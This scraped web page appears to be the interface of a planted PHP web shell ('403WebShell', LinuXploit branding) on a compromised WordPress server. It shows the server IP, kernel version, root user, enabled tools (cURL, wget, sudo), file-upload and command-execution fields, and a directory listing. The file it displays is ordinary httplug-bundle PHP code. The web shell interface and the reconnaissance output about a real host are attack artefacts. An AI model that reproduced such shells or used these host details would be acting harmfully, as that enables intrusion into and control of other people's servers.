WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/php-http/httplug-bundle/src/Collector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/php-http/httplug-bundle/src/Collector/ProfileClient.php
<?php

declare(strict_types=1);

namespace Http\HttplugBundle\Collector;

use Http\Client\Common\FlexibleHttpClient;
use Http\Client\Common\VersionBridgeClient;
use Http\Client\Exception\HttpException;
use Http\Client\HttpAsyncClient;
use Http\Client\HttpClient;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Symfony\Component\Stopwatch\Stopwatch;
use Symfony\Component\Stopwatch\StopwatchEvent;

/**
 * The ProfileClient decorates any client that implement both HttpClient and HttpAsyncClient interfaces to gather target
 * url and response status code.
 *
 * @author Fabien Bourigault <bourigaultfabien@gmail.com>
 *
 * @internal
 */
class ProfileClient implements HttpClient, HttpAsyncClient
{
    use VersionBridgeClient;

    /**
     * @var HttpClient|HttpAsyncClient
     */
    private $client;

    /**
     * @var Collector
     */
    private $collector;

    /**
     * @var Formatter
     */
    private $formatter;

    /**
     * @var Stopwatch
     */
    private $stopwatch;

    /**
     * @var array
     */
    private $eventNames = [];

    private const STOPWATCH_CATEGORY = 'httplug';

    /**
     * @param HttpClient|HttpAsyncClient $client The client to profile. Client must implement HttpClient or
     *                                           HttpAsyncClient interface.
     */
    public function __construct($client, Collector $collector, Formatter $formatter, Stopwatch $stopwatch)
    {
        if (!(($client instanceof ClientInterface || $client instanceof HttpClient) && $client instanceof HttpAsyncClient)) {
            $client = new FlexibleHttpClient($client);
        }

        $this->client = $client;
        $this->collector = $collector;
        $this->formatter = $formatter;
        $this->stopwatch = $stopwatch;
    }

    /**
     * {@inheritdoc}
     */
    public function sendAsyncRequest(RequestInterface $request)
    {
        $activateStack = true;
        $stack = $this->collector->getActiveStack();
        if (null === $stack) {
            //When using a discovered client not wrapped in a PluginClient, we don't have a stack from StackPlugin. So
            //we create our own stack and activate it!
            $stack = new Stack('Default', $this->formatter->formatRequest($request));
            $this->collector->addStack($stack);
            $this->collector->activateStack($stack);
            $activateStack = false;
        }

        $this->collectRequestInformations($request, $stack);
        $event = $this->stopwatch->start($this->getStopwatchEventName($request), self::STOPWATCH_CATEGORY);

        $onFulfilled = function (ResponseInterface $response) use ($event, $stack) {
            $this->collectResponseInformations($response, $event, $stack);
            $event->stop();

            return $response;
        };

        $onRejected = function (\Exception $exception) use ($event, $stack) {
            $this->collectExceptionInformations($exception, $event, $stack);
            $event->stop();

            throw $exception;
        };

        $this->collector->deactivateStack($stack);

        try {
            return $this->client->sendAsyncRequest($request)->then($onFulfilled, $onRejected);
        } catch (\Exception $e) {
            $event->stop();

            throw $e;
        } finally {
            if ($activateStack) {
                //We only activate the stack when created by the StackPlugin.
                $this->collector->activateStack($stack);
            }
        }
    }

    protected function doSendRequest(RequestInterface $request)
    {
        $stack = $this->collector->getActiveStack();
        if (null === $stack) {
            //When using a discovered client not wrapped in a PluginClient, we don't have a stack from StackPlugin. So
            //we create our own stack but don't activate it.
            $stack = new Stack('Default', $this->formatter->formatRequest($request));
            $this->collector->addStack($stack);
        }

        $this->collectRequestInformations($request, $stack);
        $event = $this->stopwatch->start($this->getStopwatchEventName($request), self::STOPWATCH_CATEGORY);

        try {
            $response = $this->client->sendRequest($request);
            $this->collectResponseInformations($response, $event, $stack);

            return $response;
        } catch (\Exception $e) {
            $this->collectExceptionInformations($e, $event, $stack);

            throw $e;
        } catch (\Throwable $e) {
            $this->collectExceptionInformations($e, $event, $stack);

            throw $e;
        } finally {
            $event->stop();
        }
    }

    private function collectRequestInformations(RequestInterface $request, Stack $stack)
    {
        $uri = $request->getUri();
        $stack->setRequestTarget($request->getRequestTarget());
        $stack->setRequestMethod($request->getMethod());
        $stack->setRequestScheme($uri->getScheme());
        $stack->setRequestPort($uri->getPort());
        $stack->setRequestHost($uri->getHost());
        $stack->setClientRequest($this->formatter->formatRequest($request));
        $stack->setCurlCommand($this->formatter->formatAsCurlCommand($request));
    }

    private function collectResponseInformations(ResponseInterface $response, StopwatchEvent $event, Stack $stack)
    {
        $stack->setDuration($event->getDuration());
        $stack->setResponseCode($response->getStatusCode());
        $stack->setClientResponse($this->formatter->formatResponse($response));
    }

    private function collectExceptionInformations(\Throwable $exception, StopwatchEvent $event, Stack $stack)
    {
        if ($exception instanceof HttpException) {
            $this->collectResponseInformations($exception->getResponse(), $event, $stack);
        }

        $stack->setDuration($event->getDuration());
        $stack->setClientException($this->formatter->formatException($exception));
    }

    /**
     * Generates the event name.
     *
     * @return string
     */
    private function getStopwatchEventName(RequestInterface $request)
    {
        $name = sprintf('%s %s', $request->getMethod(), $request->getUri());

        if (isset($this->eventNames[$name])) {
            $name .= sprintf(' [#%d]', ++$this->eventNames[$name]);
        } else {
            $this->eventNames[$name] = 1;
        }

        return $name;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit